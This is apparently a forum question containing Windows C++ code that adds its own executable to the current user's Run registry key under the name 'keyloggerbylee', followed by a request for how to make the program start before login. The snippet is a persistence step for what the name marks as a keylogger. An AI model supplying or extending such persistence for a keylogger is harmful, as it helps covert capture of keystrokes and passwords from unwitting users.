TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL, szPath, MAX_PATH);
HKEY newValue;
RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &newValue);
RegSetValueEx(newValue, "keyloggerbylee", 0, REG_SZ, (LPBYTE)szPath, sizeof(szPath));
RegCloseKey(newValue);
these code start program after login,but I like to know how to start program before login in windowsin c++